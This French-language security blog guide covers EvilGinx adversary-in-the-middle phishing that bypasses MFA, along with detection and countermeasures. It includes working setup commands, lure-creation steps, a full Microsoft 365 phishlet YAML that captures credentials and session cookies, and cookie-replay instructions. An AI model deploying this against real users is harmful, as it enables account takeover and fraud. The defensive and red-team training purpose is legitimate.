EvilGinx : Phishing AiTM, Bypass MFA et Défense 2026

En 2023, Microsoft a publié un rapport qui a secoué pas mal d'équipes sécurité avec lesquelles je travaille : plus de 10 000 organisations avaient été ciblées par des campagnes AiTM en douze mois. Détail important — beaucoup de ces organisations avaient activé l'authentification multifacteur. Le MFA était là. Il n'a servi à rien, ou presque. Ce constat a changé la perception du problème dans les entreprises que j'accompagne, non pas pour abandonner le MFA, mais pour comprendre que evilginx phishing bypass mfa 2026 n'est plus une technique de niche réservée aux APT étatiques : c'est une menace accessible à n'importe quel attaquant intermédiaire disposant d'un VPS, d'un nom de domaine, et de quinze minutes de configuration. EvilGinx, créé par le chercheur polonais Kuba Gretzky, a démocratisé l'attaque adversary-in-the-middle à un point tel que les groupes BEC (Business Email Compromise) l'utilisent désormais de façon industrielle pour contourner les défenses périmètriques des entreprises. Ce guide est un état de l'art complet rédigé depuis le terrain : comment fonctionne EvilGinx techniquement, comment on l'installe et le configure, comment on analyse et crée des phishlets, pourquoi le MFA classique est structurellement contournable face à ce vecteur, quelles campagnes réelles et documentées ont exploité cette technique, et surtout quelles contre-mesures déployer pour protéger concrètement son organisation. J'aborde tout cela avec la clarté d'un opérateur red team qui a conduit des simulations AiTM dans des environnements de production sous mandat écrit — et qui sait précisément ce que les défenseurs voient, ou ne voient pas, dans leurs logs SIEM. Je partage aussi dans ce guide un retour terrain concret issu d'un engagement réel (données anonymisées).

Historique d'EvilGinx : de la version 1 à EvilGinx 3

Kuba Gretzky, chercheur en sécurité polonais, a publié la première version d'EvilGinx en 2017. À l'époque, l'outil fonctionnait comme un module de nginx modifié — d'où le nom — permettant de proxifier des pages d'authentification légitimes tout en capturant les credentials au passage. C'était révolutionnaire pour l'époque, mais fragile, difficile à configurer, et dépendant d'une version spécifique de nginx.

En 2018, EvilGinx 2 sort avec une réécriture complète en Go. Plus de dépendance à nginx : le framework intègre son propre serveur HTTP/HTTPS, sa propre gestion des certificats TLS via Let's Encrypt (ACME), et un système de phishlets — des fichiers de configuration YAML décrivant comment proxifier chaque service cible. Cette version a propulsé EvilGinx au rang d'outil de référence incontournable dans les boîtes à outils red team professionnelles.

En 2023-2024, EvilGinx 3 apporte des évolutions majeures : le format phishlets v4, le blacklisting automatique des crawlers et scanners, des mécanismes anti-détection avancés (TLS fingerprinting, JA3/JA4), et des intégrations pour alertes en temps réel via Telegram. Le projet est hébergé sur GitHub (kgretzky/evilginx2) avec une communauté active qui maintient des phishlets pour des dizaines de services populaires.

Principe de l'attaque AiTM — Adversary-in-the-Middle

L'attaque Adversary-in-the-Middle (AiTM) est référencée dans le framework MITRE ATT&CK sous deux techniques complémentaires :

• T1557 — Adversary-in-the-Middle : positionnement du proxy entre victime et cible légitime, interception du trafic TLS en clair côté proxy. Le proxy décrypte et ré-encrypte chaque requête.
• T1539 — Steal Web Session Cookie : extraction des cookies de session après authentification réussie pour accéder directement au compte sans re-authentification, en utilisant la session déjà validée.

La différence fondamentale avec le phishing classique est que la page affichée est la vraie page du service. EvilGinx ne reproduit pas Microsoft 365 — il proxifie login.microsoftonline.com en temps réel, remplaçant à la volée toutes les occurrences du domaine légitime par le domaine de phishing. La victime voit le vrai formulaire, avec la vraie interface, les vraies images, les vraies fonctionnalités. Elle n'est pas sur le vrai site — mais elle ne peut généralement pas le détecter sans regarder attentivement l'URL.

Le flux d'attaque complet se déroule ainsi :

Pourquoi le MFA TOTP et SMS ne protègent pas contre EvilGinx

C'est la question centrale que toutes les équipes sécurité doivent se poser. La réponse est simple mais contre-intuitive : le MFA fonctionne parfaitement — il protège l'acte d'authentification. Le problème est qu'EvilGinx ne tente pas de casser le MFA : il se contente de le relayer de manière transparente, puis vole le résultat de cette authentification réussie.

Voici le mécanisme précis, étape par étape :

1. La victime clique sur le lien de phishing et arrive sur la fausse page (evil-o365.com)
2. Elle saisit son identifiant — EvilGinx le capture immédiatement et le transmet à login.microsoftonline.com en arrière-plan
3. Microsoft demande le code TOTP ou envoie un SMS — EvilGinx affiche exactement cette même demande à la victime
4. La victime saisit son code TOTP valide — EvilGinx le capture et le transmet à Microsoft dans la même fenêtre temporelle
5. Microsoft valide l'authentification complète (login + MFA) et émet un cookie de session authentifiée
6. EvilGinx intercepte ce cookie avant de le transmettre au navigateur de la victime
7. L'attaquant importe ce cookie dans son propre navigateur — accès direct au compte, MFA déjà validé

Le cookie de session représente une preuve d'authentification complète côté serveur. Il ne contient plus le facteur MFA — il l'a remplacé dans la logique applicative. C'est pourquoi voler un cookie post-MFA est strictement équivalent à avoir réussi le MFA soi-même. Le serveur ne fait aucune différence.

Ce qui protège réellement contre les attaques AiTM, classé par efficacité :

• FIDO2 / WebAuthn obligatoire : la seule mesure qui rend l'AiTM structurellement impossible. La clé physique (YubiKey, Titan) ou le passkey signe cryptographiquement un challenge lié à l'origin URL. Un proxy EvilGinx ne peut pas forger cette signature pour un domaine différent.
• Passkeys platform embarqués dans l'OS (Windows Hello, Face ID) : même principe de liaison à l'origin, validation cryptographique côté client.
• Certificate-Based Authentication (CBA) : certificats client liés à l'identité, impossibles à voler ou à rejouer via proxy.
• Continuous Access Evaluation (CAE) : réévaluation des conditions d'accès en temps réel, capable de détecter et bloquer des anomalies post-auth.

Installation d'EvilGinx 3 sur un VPS Ubuntu 22.04

EvilGinx 3 s'installe sur n'importe quel serveur Linux. En conditions réelles de red team, on utilise systématiquement un VPS jetable — Ubuntu 22.04 LTS sur un cloud tiers hors périmètre client. Voici le processus d'installation complet :

# Prérequis : Go >= 1.20, git, domaine avec DNS contrôlé
apt update && apt install git golang-go make -y

# Cloner le dépôt officiel
git clone https://github.com/kgretzky/evilginx2
cd evilginx2

# Compilation depuis les sources
make

# Alternative : binaire précompilé (releases GitHub)
wget https://github.com/kgretzky/evilginx2/releases/latest/download/evilginx-linux-amd64.zip
unzip evilginx-linux-amd64.zip

# Lancement en mode développement (no-DNS pour tests locaux, sans TLS réel)
sudo ./evilginx -p ./phishlets -developer

# Lancement en production (port 443/80/53, nécessite root ou CAP_NET_BIND_SERVICE)
sudo ./evilginx -p ./phishlets -c /etc/evilginx

La configuration DNS est critique et doit précéder le démarrage d'EvilGinx. Le framework gère lui-même les certificats TLS via Let's Encrypt — il faut donc que le domaine et ses wildcards pointent vers le VPS avant le premier lancement :

# Configuration DNS minimale (dans votre registrar)
# A record     : @        → IP_VPS     (domaine principal)
# A record     : *        → IP_VPS     (wildcard pour tous sous-domaines)

# Dans la console interactive EvilGinx :
config domain evil-target.example.com
config ipv4 203.0.113.42
config unauth_url https://www.google.com  # page affichée aux bots/curieux

Configuration et déploiement d'un phishlet — Séquence complète

Une fois le domaine configuré et les certificats TLS émis par Let's Encrypt, la séquence de déploiement d'un phishlet suit toujours le même ordre. Voici la séquence complète pour Microsoft 365, commentée étape par étape :

# Charger et activer le phishlet O365
phishlets hostname o365 login.evil-target.example.com
phishlets enable o365

# Vérifier le statut (cert Let's Encrypt automatique après enable)
phishlets

# Créer une lure (URL de phishing personnalisée avec contexte crédible)
lures create o365
lures path /document-partage-urgent 0   # chemin personnalisé
lures get-url 0                          # obtenir l'URL complète à envoyer

# Configurer la redirection post-auth (victime redirigée vers le vrai service)
lures edit 0 redirect_url https://outlook.office.com

# Monitorer les sessions capturées en temps réel
sessions

Anatomie complète d'un phishlet YAML — Format v4

Comprendre la structure interne d'un phishlet permet de créer des configurations personnalisées, d'auditer celles qui circulent dans la communauté, ou d'analyser les capacités d'un phishlet inconnu. Voici la structure d'un phishlet Microsoft 365 au format v4, avec annotations explicatives sur chaque section :

name: 'Microsoft 365'
author: 'exemple-educational'
min_ver: '3.0.0'

# Domaines à proxifier — chaque entrée = un sous-domaine proxifié
proxy_hosts:
  - phish_sub: 'login'          # sous-domaine sur le domaine phishing
    orig_sub: 'login'           # sous-domaine original chez Microsoft
    domain: 'microsoftonline.com'
    session: true               # capturer les cookies sur ce domaine
    is_landing: true            # page d'entrée principale
    auto_filter: true           # filtrage automatique du contenu

  - phish_sub: 'www'
    orig_sub: 'www'
    domain: 'office.com'
    session: false

# Substitutions de domaines dans les réponses HTTP (corps + headers)
sub_filters:
  - triggers_on: 'login.microsoftonline.com'
    orig_sub: 'login'
    domain: 'microsoftonline.com'
    search: 'login.microsoftonline.com'
    replace: '{hostname}'       # remplacé dynamiquement par le domaine phishing
    mimes: ['text/html', 'application/json', 'application/javascript']

# Credentials à capturer — champs username et password
credentials:
  username:
    key: '.*'
    search: '"Username":"([^"]*)"'
    type: 'post'
  password:
    key: '.*'
    search: '"Password":"([^"]*)"'
    type: 'post'

# Cookies de session à capturer — c'est ici que réside la vraie valeur
auth_tokens:
  - domain: '.microsoftonline.com'
    keys: ['ESTSAUTH', 'ESTSAUTHPERSISTENT', 'x-ms-RefreshTokenCredential']
  - domain: '.office.com'
    keys: ['.*']
    type: 'regexp'

Les phishlets populaires disponibles dans l'écosystème communautaire couvrent une large gamme de services : O365, Google Workspace, LinkedIn, Okta, GitHub, Cloudflare Access, Dropbox, Salesforce, et de nombreux autres portails SSO. La communauté maintient activement ces configurations à mesure que les services modifient leurs interfaces et leurs mécanismes d'authentification.

Capture des sessions et Cookie Replay — Accès sans authentification

Une fois qu'une victime s'est authentifiée via le proxy, EvilGinx affiche en temps réel les informations capturées dans sa console interactive. Le cookie replay est l'étape opérationnelle suivante : utiliser ces cookies volés pour accéder directement au compte sans aucune authentification depuis un navigateur distinct.

# Dans la console EvilGinx — liste des sessions capturées
sessions

# Exemple de sortie (données fictives) :
# id  | phishlet | username              | password  | tokens | date
# 1   | o365     | j.dupont@exemple.fr   | P@ssw0rd! | 8      | 2026-03-15

# Voir les détails complets d'une session — cookies JSON prêts à importer
sessions 1

Pour le cookie replay pratique, on utilise l'extension Cookie-Editor (Firefox/Chrome) dans un profil navigateur entièrement vierge, isolé du profil principal :

1. Ouvrir Cookie-Editor dans un profil navigateur isolé et privé
2. Importer le JSON de cookies exporté depuis la console EvilGinx
3. Naviguer vers le service cible (ex : outlook.office.com, portal.azure.com)
4. Rafraîchir la page — la session active s'ouvre immédiatement sans demande de credentials

Le résultat est un accès complet : messagerie, fichiers SharePoint, conversations Teams, paramètres admin. Tout cela sans jamais connaître le mot de passe et sans avoir passé le MFA. C'est précisément ce que les groupes BEC exploitent pour analyser les flux financiers d'une organisation et initier des virements frauduleux depuis des comptes légitimes compromis.

EvilGinx 3 — Nouvelles fonctionnalités 2024-2026

La version 3 d'EvilGinx a considérablement élevé la sophistication des attaques possibles et rendu la détection automatisée plus difficile. Voici les évolutions majeures comparées à EvilGinx 2 :

Le blacklisting automatique est particulièrement significatif d'un point de vue défensif. EvilGinx 3 maintient une liste régulièrement mise à jour d'adresses IP appartenant à des scanners de sécurité, des crawlers SEO, et des bots d'analyse automatisée. Quand une de ces IP tente d'accéder à la lure, EvilGinx affiche une page anodine (ou redirige vers une URL innocente), rendant la détection automatisée par des services de scan d'URL considérablement moins efficace.

Architecture d'une campagne EvilGinx — Vision globale

Campagnes AiTM documentées — Groupes réels et techniques employées

EvilGinx et les outils AiTM ne sont pas des techniques de laboratoire. Les campagnes à grande échelle sont documentées et attribuées par les équipes de threat intelligence des principaux acteurs de la cybersécurité mondiale.

Storm-0539 (2023-2024) : groupe cybercriminel spécialisé dans les attaques sur les plateformes de gestion de cartes-cadeaux d'entreprise. Selon MITRE ATT&CK T1557, ce groupe utilise des proxies AiTM pour bypasser le MFA de portails d'administration M365, puis détourne des systèmes de cartes-cadeaux d'entreprise. Microsoft Threat Intelligence a documenté plus de 100 organisations ciblées sur 18 mois, avec des pertes financières estimées à plusieurs dizaines de millions de dollars.

LAPSUS$ / Storm-1167 (2022) : ce groupe a combiné des techniques AiTM avec du SIM swapping pour compromettre des dizaines d'entreprises technologiques majeures — Microsoft, Nvidia, Okta, Ubisoft, Rockstar Games — en quelques semaines. L'ingénierie sociale était le vecteur initial d'accès, l'AiTM le mécanisme de contournement du MFA.

APT29 / Cozy Bear : le groupe d'espionnage attribué au SVR russe a intégré des techniques de phishing proxy dans ses opérations ciblant des gouvernements occidentaux et des organisations diplomatiques. Les campagnes documentées par le NCSC britannique et le CERT-EU en 2023 utilisaient des approches proches de l'AiTM pour cibler des entités diplomatiques, des think tanks, et des institutions politiques.

Campagnes BEC industrialisées en France : le CERT-FR (ANSSI) a signalé une tendance croissante des attaques BEC utilisant des techniques AiTM pour bypasser le MFA de comptes M365, avant de falsifier des ordres de virement. Ces campagnes ciblent en priorité les comptables, DAF, et assistants de direction ayant accès aux flux financiers de l'organisation.

Détection côté victime — Signaux d'alerte à connaître

Un utilisateur averti et formé peut détecter une attaque EvilGinx avant de soumettre ses credentials. Les signaux sont subtils mais identifiables :

• URL inhabituelle : le domaine de phishing est proche mais différent du domaine légitime. Former les utilisateurs à toujours vérifier l'URL complète dans la barre d'adresse, pas seulement l'icône de cadenas.
• Certificat Let's Encrypt (DV) : Microsoft, Google, et autres grands services utilisent des certificats OV ou EV. Un certificat Domain Validated (DV) de Let's Encrypt pour un portail M365 est un signal d'alerte fort, même si le certificat est techniquement valide.
• Absence de HSTS preloading : les vrais domaines Microsoft sont dans la liste HSTS preload des navigateurs. Un domaine de phishing nouvellement créé ne l'est pas.
• Légères incohérences d'affichage : malgré la qualité du proxying, de petits décalages (timing de chargement, comportements JavaScript inhabituels) peuvent apparaître sur les pages complexes.

Détection côté SOC — Indicateurs et stratégies d'investigation

La détection d'une attaque AiTM réussie est difficile en temps réel mais réalisable en analyse post-authentification. Les indicateurs comportementaux sont systématiquement plus fiables que les signatures statiques.

Contre-mesures techniques — Ce qui fonctionne vraiment contre l'AiTM

La défense en profondeur contre EvilGinx s'articule sur plusieurs niveaux : les mesures qui bloquent activement l'AiTM, et celles qui réduisent la surface d'attaque ou accélèrent la détection post-incident.

Mesures qui bloquent activement l'AiTM (priorité absolue) :

• FIDO2 / WebAuthn obligatoire pour les comptes privilégiés et sensibles. C'est la seule mesure qui rend l'AiTM structurellement impossible. Déployer en priorité sur les comptes admin, DAF, DRH, et direction.
• Conditional Access avec Compliant Device : exiger que l'appareil soit enregistré et conforme dans Intune. Un cookie volé sur un navigateur non-managé ne passera pas cette vérification, même s'il est valide côté serveur.
• Token binding : lie cryptographiquement le token à la connexion TLS initiale. Un token replay depuis une autre connexion réseau échoue.
• Continuous Access Evaluation (CAE) : réévalue les conditions d'accès en temps réel. Une session depuis une IP inconnue peut être révoquée immédiatement sans attendre l'expiration naturelle du token.

Mesures complémentaires de réduction de surface :

• Formation utilisateurs spécifique aux attaques AiTM, avec exercices pratiques de vérification d'URL et de certificats TLS
• DNS anti-phishing (Cisco Umbrella, Cloudflare Gateway, Quad9) pour bloquer les domaines malveillants connus
• DMARC (p=reject), DKIM, et SPF stricts pour bloquer l'usurpation d'identité dans les emails qui conduisent vers les lures
• Microsoft Attack Simulator pour des campagnes de simulation AiTM régulières et mesurées
• Revue mensuelle des tokens OAuth actifs et révocation des sessions suspectes dans Entra ID

Pour les environnements Microsoft 365, la configuration des politiques Conditional Access Entra ID est le premier rempart à renforcer face aux attaques AiTM. Notre guide sur la migration MFA Entra et révocation de sessions détaille le processus de migration vers FIDO2 en environnement de production.

Alternatives à EvilGinx — Paysage des outils AiTM

EvilGinx n'est pas le seul framework de cette catégorie. Les red teamers et les attaquants disposent de plusieurs alternatives avec des caractéristiques différentes :

• Modlishka : proxy inverse en Go développé par Piotr Duszyński, premier framework AiTM populaire. Moins maintenu en 2026 mais fonctionnel pour des cibles simples sans mécanismes anti-bot avancés.
• Muraena : framework Go AiTM avec architecture modulaire. Apprécié pour sa flexibilité dans les engagements red team avancés nécessitant une personnalisation fine.
• Caido : proxy HTTP moderne orienté sécurité offensive, moins spécialisé AiTM mais très polyvalent pour les tests manuels et les analyses d'applications web.
• GoPhish : phishing classique sans AiTM. Idéal pour les campagnes de sensibilisation où l'objectif est de tester la vigilance des utilisateurs sur les URLs, pas le bypass MFA.
• Microsoft Attack Simulator : outil officiel M365 intégré pour simuler des attaques AiTM dans un cadre défensif managé, sans infrastructure externe ni risque légal.

Pour le contexte global des techniques d'ingénierie sociale avancée, on croise utilement cette lecture avec notre analyse IA et deepfakes dans le social engineering et notre guide sur les campagnes de spear phishing avancé 2026.

Cadre légal et éthique — Conditions d'usage autorisé en red team

Dans le cadre d'un red team ou d'un test d'ingénierie sociale autorisé, EvilGinx est un outil de mesure objective de la maturité de sécurité d'une organisation face aux menaces AiTM réelles. Les étapes d'un engagement légalement valide et professionnellement encadré :

1. Contrat de prestation avec périmètre explicite et autorisation signée par la direction générale et le RSSI
2. Notification aux équipes légales du client — le SOC peut rester dans l'ignorance pour tester authentiquement la capacité de détection
3. Infrastructure dédiée au test : VPS éphémère sur cloud tiers, domaine spécifique à la mission, entièrement hors périmètre production
4. Rapport complet avec recommandations priorisées et destruction certifiée des données capturées après livraison
5. Session de sensibilisation post-campagne pour les utilisateurs ciblés, avec explication du mécanisme d'attaque

Les références pour encadrer ce type de mission : le framework MITRE ATT&CK T1557 pour la taxonomie technique, et les guidelines PTES pour la méthodologie d'engagement. Notre comparatif red team, pentest et bug bounty positionne EvilGinx dans l'écosystème plus large des outils offensifs contractuellement autorisés.

Défense Zero Trust — Approche systémique contre les attaques AiTM

La défense contre les attaques AiTM s'inscrit dans le paradigme Zero Trust : ne jamais faire confiance à une session sur la base d'une authentification passée, vérifier systématiquement le contexte à chaque accès. C'est l'opposé des défenses périmètriques classiques qui accordent une confiance implicite prolongée après une authentification initiale réussie.

Notre guide sur l'implémentation d'une architecture Zero Trust détaille les étapes pratiques de déploiement dans un environnement hybride. Pour les équipes SOC qui souhaitent comprendre les tactiques de mouvement latéral post-compromise — qui suit souvent une compromission AiTM réussie — notre article sur la détection et prévention du mouvement latéral est directement complémentaire. La sécurisation de la messagerie contre le phishing avancé est couverte dans le guide sur le durcissement Exchange Online anti-phishing.

On peut également croiser cette lecture avec notre analyse des infostealers, qui partagent avec EvilGinx l'objectif final de vol de cookies de session, mais via un vecteur radicalement différent — malware côté client plutôt que proxy réseau côté attaquant. Les deux menaces se complètent dans l'arsenal des attaquants modernes et méritent des contre-mesures distinctes.

Conclusion

EvilGinx a fondamentalement changé la conversation sur le MFA dans les organisations que j'accompagne. Pendant des années, activer le MFA était vendu comme la solution au problème du phishing. EvilGinx rend cette affirmation incomplète. Le MFA TOTP reste une couche de défense indispensable contre les attaques de credential stuffing, les fuites de bases de données, et le phishing classique. Mais face à un proxy AiTM, il ne suffit plus.

La vraie leçon n'est pas d'abandonner le MFA — c'est de migrer vers des MFA résistants au phishing. FIDO2 et les passkeys existent, fonctionnent à grande échelle, et sont déployables en entreprise aujourd'hui. La migration est une question de priorité et de budget, pas de faisabilité technique. Pour les équipes SOC, l'enjeu complémentaire est d'accepter que le périmètre d'authentification n'est plus la ligne de défense ultime : Conditional Access, CAE, Zero Trust, et détection comportementale post-auth sont devenus les vrais remparts contre les attaquants qui utilisent EvilGinx au quotidien dans leurs campagnes BEC.

Questions Fréquentes